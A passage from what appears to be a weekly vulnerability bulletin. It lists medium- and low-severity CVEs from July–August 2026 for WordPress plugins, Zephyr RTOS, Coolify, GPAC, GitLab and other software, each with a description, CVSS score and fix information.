| wpmanageninja--Fluent Forms Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder                                              | The Fluent Forms - Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'param' in all versions up to, and including, 6.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-08-01 | 6.1        | <a href="#">CVE-2026-17571</a> |
| wpmanageninja--Fluent Forms Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder                                              | The Fluent Forms - Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.2.8 via the 'transaction' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to brute-force valid transaction hashes and view sensitive payment receipt data including customer name, email address, billing address, order items, payment method, and payment status belonging to other users. Because submission ID, form ID, and transaction creation time are either observable or guessable by an attacker, the effective brute-force space is bounded to approximately 900 candidates per second per (submission, form) pair, making exploitation practical without any prior authentication or account.                                                                                                                                          | 2026-07-31 | 5.3        | <a href="#">CVE-2026-17567</a> |
| wpvividplugins--WPvivid Backup, Migration & Staging                                                                                              | The WPvivid Backup & Migration plugin for WordPress is vulnerable to SQL Injection via the export_data parameter in versions up to, and including, 0.9.131. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The values are received in prepare_export_post(), passed through sanitize_text_field() and stripslashes(), JSON-decoded, and the attacker-controlled JSON object keys are collected as \$posts_ids without integer casting. They are stored in the export task options and later joined with commas and interpolated directly into a `WHERE ID IN (...)` clause inside a \$wpdb->get_results() call in export_post_to_xml() (unquoted, numeric context), with no \$wpdb->prepare() or esc_sql(). This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. | 2026-08-01 | 4.9        | <a href="#">CVE-2026-17555</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| wpxpo--WowStore Store Builder & Product Blocks for WooCommerce | The WowStore - Store Builder & Product Blocks for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'filterMobileText' Block Attribute in all versions up to, and including, 4.4.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save-time wpkses_post sanitization is ineffective because the payload is stored inside a Gutenberg block delimiter comment as JSON, which wpkses_post preserves, allowing an attribute-breakout string to survive to the server-side render_callback.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-29 | 6.4        | <a href="#">CVE-2026-17161</a> |
| wpxpo--WowStore Store Builder & Product Blocks for WooCommerce | The WowStore - Store Builder & Product Blocks for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'currentPostId' Block Attribute in all versions up to, and including, 4.4.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-29 | 6.4        | <a href="#">CVE-2026-17162</a> |
| xdan--jodit                                                    | Jodit Editor is a WYSIWYG editor with a built-in file browser & image editor. Prior to 4.12.31, Jodit's sanitizeHTMLElement method fails to use isDangerousUrl to normalize javascript: href values before checking the scheme, allowing case variants, control-byte prefixes, and embedded tabs or newlines to bypass filtering and execute attacker-controlled script when a victim clicks a stored link rendered by an application. This issue is fixed in version 4.12.31.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-31 | 5.4        | <a href="#">CVE-2026-62324</a> |
| Xlight--Xlight FTP Server                                      | Xlight FTP Server before 3.9.5 contains an information disclosure vulnerability that allows unauthenticated attackers to obtain the server's current GetTickCount() value by sending a USER command with a username ending in the :adm suffix. Attackers can trigger the admin protocol path within the standard FTP listener pre-authentication to leak timing information from the FTP 331 response without requiring a separate port or configuration change.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-29 | 5.3        | <a href="#">CVE-2026-67193</a> |
| YayCommerce--YayPricing                                        | Subscriber Broken Access Control in YayPricing <= 3.5.6 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-27 | 5.4        | <a href="#">CVE-2026-66442</a> |
| yoomoney--Kassa WooCommerce                                    | Subscriber Sensitive Data Exposure in Kassa WooCommerce <= 2.16.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65434</a> |
| zephyrproject--zephyr                                          | The userspace verifier z_vrfy_log_filter_set() for the log_filter_set syscall in subsys/logging/log_mgmt.c performed a signed comparison against the int16_t src_id parameter: src_id < (int16_t)log_src_cnt_get(domain_id). Any negative value for src_id (e.g. -1) trivially satisfied this check and was forwarded into z_impl_log_filter_set, where it propagated to filter_set() and ultimately to get_dynamic_filter(), which uses source_id as an unsigned index into the linker-section array &TYPE_SECTION_START(log_dynamic)[source_id].filters. After implicit conversion through uint32_t, an int16_t -1 becomes 0xFFFFFFFF, indexing log_dynamic far out of bounds and causing the kernel to perform an OOB read and an OOB read-modify-write (LOG_FILTER_SLOT_GET/SET) against memory adjacent to the log_dynamic section. The written value is a constrained 3-bit log level slot within the targeted 32-bit word, but the target address is attacker-chosen (a small negative offset from log_dynamic) and the write occurs in supervisor mode following a syscall from an unprivileged user thread, providing a kernel memory-corruption / privilege-escalation primitive. The defect is reachable on any build with CONFIG_USERSPACE=y and CONFIG_LOG_RUNTIME_FILTERING=y. Present from Zephyr v3.3.0 through v4.4.1. The fix replaces the signed bound check with an unsigned comparison: (uint32_t)src_id < log_src_cnt_get(domain_id), which correctly rejects negative inputs. | 2026-07-27 | 6.6        | <a href="#">CVE-2026-10682</a> |
| zephyrproject--zephyr                                          | Zephyr's Bluetooth host declares a GATT characteristic as two consecutive attributes: a Characteristic Declaration whose permission is hard-coded to BT_GATT_PERM_READ, and a Characteristic Value attribute that carries the application-specified security permissions (e.g. BT_GATT_PERM_READ_ENCRYPT /                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-08-01 | 6.5        | <a href="#">CVE-2026-2411</a>  |



# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | <p>READ_AUTHEN / READ_LESC). The public notify and indicate APIs explicitly accept either attribute, and passing the declaration is the documented, common idiom. Before sending each notification or indication, the host re-checks link security with <code>bt_gatt_check_perm()</code> against <code>params-&gt;attr</code> in <code>gatt_notify()</code>, <code>gatt_indicate()</code>, and <code>gatt_notify_multiple_verify_params()</code> (<code>subsys/bluetooth/host/gatt.c</code>). When the application passed the Characteristic Declaration attribute, the host correctly redirected the value handle but left <code>params-&gt;attr</code> pointing at the declaration, so the security check evaluated the declaration's permissions (no security required) instead of the value's. As a result the encryption/authentication/LESC requirement configured on the characteristic value was skipped. The Notify-Multiple path additionally used a mask that omitted the LE Secure Connections requirement. A remote peer triggers the disclosure by connecting (optionally without pairing or encryption) and writing the Client Characteristic Configuration descriptor to enable notifications or indications, causing the server to emit the protected value over a link that has not reached the required security level. The impact is information disclosure / access-control bypass for characteristic values the application intended to expose only over a secured link; exposure depends on the application declaring encrypt/authen-required notify/indicate characteristics and on the CCC being writable at a lower security tier. There is no memory-safety or availability impact. The fix adds <code>bt_gatt_attr_resolve_value()</code>, which maps a declaration attribute to the following value attribute before the permission check, and switches the Notify-Multiple path to the full <code>BT_GATT_PERM_READ_ENCRYPT_MASK</code> so the LESEC requirement is also enforced.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| zephyrproject--zephyr     | <p>Zephyr's IPv6 forwarding path re-sent routed unicast packets without ever decrementing the IPv6 hop limit. Both routing branches of <code>ipv6_route_packet()</code> (<code>subsys/net/ip</code>) were affected: the explicit-route path (<code>net_route_packet()</code>) and the on-link cross-interface path (<code>net_route_packet_if()</code>). Each set the packet forwarding flag and called <code>net_send_data()</code> with the hop limit untouched and no expiry check. Per RFC 8200 the hop-limit decrement is the mechanism that bounds packet lifetime and terminates routing loops; without it, a device acting as an IPv6 router relays looping packets indefinitely. An on-path attacker who can induce or exploit a transient L3 loop turns it into a permanent forwarding storm, causing CPU/bandwidth resource exhaustion (availability DoS) on the forwarder and adjacent links; path-discovery and loop diagnostics that rely on hop-limit expiry are also defeated. Affected configurations. In every affected release the forwarding path is reached via <code>CONFIG_NET_ROUTE</code> (enabled by default when <code>CONFIG_NET_IPV6_NBR_CACHE</code> is set), together with <code>CONFIG_NET_ROUTING</code> for cross-interface routing. Note that <code>CONFIG_NET_IPV6_FORWARDING</code> and <code>CONFIG_NET_IPV4_FORWARDING</code> - which appear in the fix and in this advisory's evidence notes - were introduced after v4.4.0, when the routing options were split and renamed; they do not exist in any affected release. When auditing a v4.4.1-or-earlier configuration, look for <code>CONFIG_NET_ROUTE</code> and <code>CONFIG_NET_ROUTING</code>. IPv4 is not affected in any release. The IPv4 forwarding path (<code>net_route_ipv4_packet()</code> in <code>route_ipv4.c</code>) was added after v4.4.0 and has never shipped in a release. Its TTL decrement and IPv4 header-checksum recomputation landed on main as part of the same fix, so the evidence notes below discuss it, but no released version is reachable by way of IPv4. Affected releases are v1.8.0 through v4.4.1: v1.8.0 introduced <code>net_route_packet()</code> and v2.2.0 added <code>net_route_packet_if()</code>, and neither decremented the hop limit. v4.3.1 carries the explicit-route fix but not the on-link one, so it is affected as well. Fixed on main by 7d8f1afa7345 (explicit-route path) and 589eadc74efa (on-link path).</p> | 2026-07-31 | 5.8        | <a href="#">CVE-2026-10686</a> |
| zephyrproject--zephyr     | <p>The DHCPv4 client helper <code>net_dhcpv4_msg_type_name()</code> in <code>subsys/net/lib/dhcpv4/dhcpv4.c</code> indexes a static 8-element <code>const char * name</code> table after a faulty bounds check. The guard used <code>msg_type &lt;= sizeof(name)</code> instead of <code>msg_type &lt;= ARRAY_SIZE(name)</code>; <code>sizeof</code> returns the byte size of the pointer array (32 on 32-bit, 64 on 64-bit targets) rather than the element count of 8, so message-type values from 9 up to that byte size pass the check and cause <code>name[msg_type - 1]</code> to read past the end of the array. The <code>msg_type</code> value</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-08-01 | 5.4        | <a href="#">CVE-2026-10773</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | <p>originates from the DHCP MESSAGE TYPE option, which is read as an unchecked raw byte from a received packet (net_pkt_read_u8) and passed unmodified into the lookup. A DHCP server, or any host able to inject a spoofed DHCP reply onto the client's link, can therefore drive the index out of bounds. The out-of-range slot yields a garbage const char * that is then dereferenced by a %s log conversion. The lookup is reached only from a debug log statement (NET_DBG / LOG_DBG), so the out-of-bounds read is triggerable only when the DHCPv4 log module is built at DEBUG level (CONFIG_NET_DHCPV4_LOG_LEVEL_DBG), which is not the default configuration. When that condition holds, the result is an out-of-bounds read and a wild-pointer dereference: most likely a crash of the DHCP client (denial of service) and potentially disclosure of an adjacent pointer's contents through the log output. The fix replaces sizeof with ARRAY_SIZE, restoring the correct 1..8 acceptance window.</p> |            |            |                                |
| ZJONSSON--node-unzipper   | <p>A vulnerability was determined in ZJONSSON node-unzipper up to 0.12.3. Affected by this vulnerability is the function Extract of the file lib/extract.js. This manipulation causes path traversal. The attack requires local access. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 5.3        | <a href="#">CVE-2026-17514</a> |

# Low Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Akpali9--Attendance-Management-System | A vulnerability was detected in Akpali9 Attendance-Management-System up to 70b91fe38f4195b701a45f0edcd4f42d5f64ae. This issue affects some unknown processing of the file absent.php. Performing a manipulation of the argument export_date results in cross site scripting. It is possible to initiate the attack remotely. This product is using a rolling release to provide continuous delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-12 | 3.5        | <a href="#">CVE-2026-15493</a> |
| Black Lantern Security--BBOT          | BBOT's unarchive module rejects archives containing symlink entries before extraction, but for zip and 7z archives it failed to detect symlinks whose listing carries a DOS-attribute prefix before the unix mode, as produced by legacy versions of p7zip. Such an archive, downloaded and extracted during a scan (for example via filedownload), bypassed the guard and caused an attacker-controlled symlink to be written into the extraction directory. The effect is limited to planting the symlink (its target is not written through), and only hosts using such a legacy p7zip build are affected; current mainline 7-Zip is not.                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 3.1        | <a href="#">CVE-2026-14966</a> |
| Black Lantern Security--BBOT          | BBOT's `github_workflows` module could be induced to write a downloaded artifact outside its configured output directory: its path-containment check did not resolve `..`, so a crafted `CODE_REPOSITORY` URL could traverse out of the intended folder. The write is bounded to two directory levels above the output location and its target is determined by the operator's configuration, not the attacker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 3.1        | <a href="#">CVE-2026-14967</a> |
| body-parser--body-parser              | Impact: In body-parser versions prior to 1.20.6 (1.x line) and 2.3.0 (2.x line), when the parser is configured with an invalid limit option value such as an unparseable string or NaN, bytes.parse returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. Patches: This issue is fixed in body-parser 1.20.6 and 2.3.0. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement, while null and undefined continue to fall back to the default limit of 100kb. Workarounds: Validate the limit value before passing it to body-parser. For example, parse the value at startup and reject any configuration where the result is null or a non-finite number. | 2026-07-09 | 3.7        | <a href="#">CVE-2026-12590</a> |
| Capgo--Capgo                          | Capgo before 12.128.2 contains a sql injection vulnerability in the POST /private/admin_stats endpoint where the limit parameter is deconstructed from unvalidated request body and interpolated directly into Cloudflare Analytics Engine SQL queries via template literals. An attacker with platform admin credentials can inject SQL fragments to enumerate dataset schemas, extract analytics data, or cause denial-of-service against the analytics backend.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-12 | 3.8        | <a href="#">CVE-2026-56281</a> |
| caronc--apprise                       | Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.                                                                                                                                                                                                                                                                                                             | 2026-07-10 | 3.1        | <a href="#">CVE-2026-59180</a> |
| coollabsio--coolify                   | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. From 4.0.0-beta.451 through 4.0.0-beta.470, database backup handling for MongoDB collection names did not fully validate shell metacharacters, allowing a highly privileged attacker who can configure backup inputs to inject commands. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-06 | 3.3        | <a href="#">CVE-2026-34049</a> |

# Low Vulnerabilities

| Primary Vendor -- Product      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| coollabsio--coolify            | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, DatabaseBackupJob interpolates user-controlled database credentials and MongoDB collection exclusion names into backup shell commands without adequate escaping, allowing an authenticated user with database management permissions to execute commands on managed servers. This issue is fixed in version 4.0.0-beta.471.                                                                             | 2026-07-07 | 3.3        | <a href="#">CVE-2026-34149</a> |
| coollabsio--coolify            | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, the file upload endpoint (app/Http/Controllers/UploadController.php) for database backup restore uploads did not enforce file type or size validation, allowing an authenticated user to upload unexpected or oversized files that could affect service availability. This issue is fixed in version 4.0.0-beta.474.                                                                                    | 2026-07-07 | 3.1        | <a href="#">CVE-2026-42145</a> |
| coollabsio--coolify            | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, the buildHelperImage method in app/Livewire/Settings/Index.php constructs a Docker build command using the dev_helper_version field without shell escaping, allowing an attacker who can set the helper version and trigger the helper image build in a development environment to execute arbitrary commands on the server. This issue is fixed in version 4.0.0-beta.474.                             | 2026-07-06 | 3.8        | <a href="#">CVE-2026-42148</a> |
| coollabsio--coolify            | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, Sanctum API tokens did not expire, allowing a leaked token to retain access indefinitely until manually revoked. This issue is fixed in version 4.0.0-beta.474.                                                                                                                                                                                                                                         | 2026-07-07 | 3.1        | <a href="#">CVE-2026-42172</a> |
| coollabsio--coolify            | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, database credential fields (redis_password, keydb_password, dragonfly_password, clickhouse_admin_user, clickhouse_admin_password, postgres_user, mysql_user) are validated only as 'string' at the API layer, with zero shell-safety checks. These values are then interpolated directly into Docker Compose YAML command: strings without any escaping. This issue is fixed in version 4.0.0-beta.474. | 2026-07-07 | 3.3        | <a href="#">CVE-2026-42201</a> |
| CoreWCF--CoreWCF               | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, the CoreWCF WS-Security 1.0 receive pipeline validates ds:SignedInfo SignatureMethod against the configured SecurityAlgorithmSuite but does not validate each ds:Reference DigestMethod, allowing a sender to use a rejected digest algorithm such as SHA-1 while the message is still accepted. This issue is fixed in versions 1.8.1 and 1.9.1.                                                            | 2026-07-08 | 3.7        | <a href="#">CVE-2026-54780</a> |
| crater-invoice-inc--crater     | A weakness has been identified in crater-invoice-inc crater up to 6.0.6. This affects the function getFormattedString of the file app/Http/Requests/InvoicesRequest.php of the component Invoice Note Handler. Executing a manipulation of the argument notes can lead to cross site scripting. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.               | 2026-07-06 | 3.5        | <a href="#">CVE-2026-14791</a> |
| Dell--PowerProtect Data Domain | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper limitation of a pathname to a restricted directory ('path traversal') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized file modification.                                                                 | 2026-07-08 | 2.7        | <a href="#">CVE-2026-53480</a> |
| filebrowser--filebrowser       | filebrowser versions before 2.63.17 fail to normalize paths before querying the share index in DeleteWithPathPrefix, allowing authenticated users to leave stale public shares behind. Attackers can delete a shared directory using a trailing-slash                                                                                                                                                                                                                                                                                | 2026-07-12 | 3.1        | <a href="#">CVE-2026-61874</a> |

# Low Vulnerabilities

| Primary Vendor -- Product           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                     | path, then recreate the same directory to expose new contents through the dormant public share URL.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| Gallagher--Controller 7000 and 6000 | Uncaught Exception (CWE-248) in the Controller 6000 and Controller 7000 diagnostic web interface allows an authenticated and authorized operator to trigger a Controller restart by sending specific requests, resulting in a temporary denial of service. Version of Command Centre affected: * 9.50 prior to vCR9.50.260616a (distributed in 9.50.1587(MR1)) * 9.40 prior to vCR9.40.260616a (distributed in 9.40.3130(MR3)) * 9.30 prior to vCR9.30.260616a (distributed in 9.30.3983(MR5)) * 9.20 prior to vCR9.20.260616a (distributed in 9.20.4349(MR7)) * all versions of 9.10 and prior. | 2026-07-07 | 2.7        | <a href="#">CVE-2026-27844</a> |
| Gallagher--T-20 Readers             | Uncaught Exception (CWE-248) in the T20 Readers allows an authenticated and authorized operator to trigger a restart by sending specific requests, resulting in a temporary denial of service. Version of Command Centre affected: * 9.50 prior to vCR9.50.260616a (distributed in 9.50.1587(MR1)) * 9.40 prior to vCR9.40.260616a (distributed in 9.40.3130(MR3)) * 9.30 prior to vCR9.30.260616a (distributed in 9.30.3983(MR5)) * 9.20 prior to vCR9.20.260616a (distributed in 9.20.4349(MR7)) * all versions of 9.10 and prior.                                                             | 2026-07-07 | 2.7        | <a href="#">CVE-2026-27790</a> |
| GitLab--GitLab                      | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.5 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user to create a repository where the content displayed in the web interface differed from the content available for download, due to improper handling of Git reference name resolution.                                                                                                                                                                                           | 2026-07-08 | 3.5        | <a href="#">CVE-2025-12506</a> |
| GitLab--GitLab                      | GitLab has remediated an issue in GitLab EE affecting all versions from 16.10 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user to modify group-level settings beyond their intended permissions due to improper authorization controls.                                                                                                                                                                                                                                                                         | 2026-07-08 | 2.7        | <a href="#">CVE-2026-13151</a> |
| GitLab--GitLab                      | GitLab has remediated an issue in GitLab EE affecting all versions from 18.2 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user with auditor-level access to modify compliance violation records due to improper authorization on certain GraphQL operations.                                                                                                                                                                                                                                                     | 2026-07-08 | 2.7        | <a href="#">CVE-2026-6352</a>  |
| GNU--LibreDWG                       | A vulnerability was found in GNU LibreDWG up to 0.13.4. The impacted element is the function dwg_next_entity of the file src/dwg.c of the component DWG File Handler. Performing a manipulation of the argument next_obj results in null pointer dereference. The attack must be initiated from a local position. The exploit has been made public and could be used. Upgrading to version 0.14 is sufficient to resolve this issue. The patch is named dde45dac3c4d902e4d8fed150a8017b9732019c9. Upgrading the affected component is recommended. Different than CVE-2026-9503.                 | 2026-07-09 | 3.3        | <a href="#">CVE-2026-15184</a> |
| GPAC--GPAC                          | A vulnerability was determined in GPAC up to 2.5-DEV. This vulnerability affects the function gf_isom_nalu_sample_rewrite of the file src/isomedia/avc_ext.c of the component MP4Box. This manipulation of the argument nalu_out_bs causes double free. It is possible to launch the attack on the local host. The exploit has been publicly disclosed and may be utilized. Patch name: f29f955f2a3b5e8e507caad3e52319f961bf37bf. To fix this issue, it is recommended to deploy a patch.                                                                                                        | 2026-07-06 | 3.3        | <a href="#">CVE-2025-15667</a> |
| GPAC--GPAC                          | A vulnerability was identified in GPAC up to b40ce70f5. This issue affects the function sgpd_del_entry of the file src/isomedia/box_code_base.c of the component MP4Box. Such manipulation of the argument data leads to heap-based buffer overflow. Local access is required to approach this attack. The exploit is publicly available and might be used. The name of the patch is f29f955f2a3b5e8e507caad3e52319f961bf37bf. It is advisable to implement a patch to correct this issue.                                                                                                       | 2026-07-06 | 3.3        | <a href="#">CVE-2025-15668</a> |



# Low Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| GPAC--GPAC                  | A flaw has been found in GPAC 26.02.0. This affects the function nhmldump_send_frame of the file src/filters/write_nhml.c of the component Media File Handler. Executing a manipulation can lead to null pointer dereference. The attack requires local access. The exploit has been published and may be used. This patch is called bd1d94e70e3bef364c07c5a1d94eca5c9f56e160. A patch should be applied to remediate this issue. The project explains: "I would consider most of these more as bugs than vulns but anyway they're good to fix". | 2026-07-06 | 3.3        | <a href="#">CVE-2026-14790</a> |
| GPAC--GPAC                  | A security vulnerability has been detected in GPAC 26.03-DEV-rev342-g80071f700-master. The impacted element is the function txtin_probe_duration of the file src/filters/load_text.c of the component TeXML File Handler. Such manipulation of the argument txml_timescale leads to divide by zero. An attack has to be approached locally. The name of the patch is 86a5191f2e750c767253e27ed6cfd6d547afebc2. A patch should be applied to remediate this issue.                                                                                | 2026-07-06 | 3.3        | <a href="#">CVE-2026-14801</a> |
| GPAC--GPAC                  | A vulnerability was determined in GPAC 26.03-DEV. This affects the function vobsub_read_idx of the file /src/media_tools/vobsub.c of the component MP4Box. Executing a manipulation of the argument num_langs can lead to out-of-bounds read. The attack needs to be launched locally. The exploit has been publicly disclosed and may be utilized. This patch is called 532097084729a936bcd6a27c41003f3bd7dc3ff. It is best practice to apply a patch to resolve this issue. Two different commits were applied to fix this issue.              | 2026-07-09 | 3.3        | <a href="#">CVE-2026-15185</a> |
| Grafana--Grafana Enterprise | The public dashboard deletion endpoint does not enforce organization isolation, allowing an Org Admin in one organization to delete public dashboards belonging to a different organization by supplying the target dashboard's identifiers.                                                                                                                                                                                                                                                                                                     | 2026-07-07 | 3.1        | <a href="#">CVE-2026-28378</a> |
| halo-dev--halo              | A vulnerability was identified in halo-dev halo up to 2.24.2. This affects the function ThemeUtils.unzipThemeTo of the file ThemeUtils.java of the component Theme Installation. Such manipulation of the argument metadata.name leads to path traversal. The attack may be launched remotely. The exploit is publicly available and might be used. The project closed the issue as "duplicate" but did not reference any other issue, report, or CVE.                                                                                           | 2026-07-10 | 3.8        | <a href="#">CVE-2026-15326</a> |
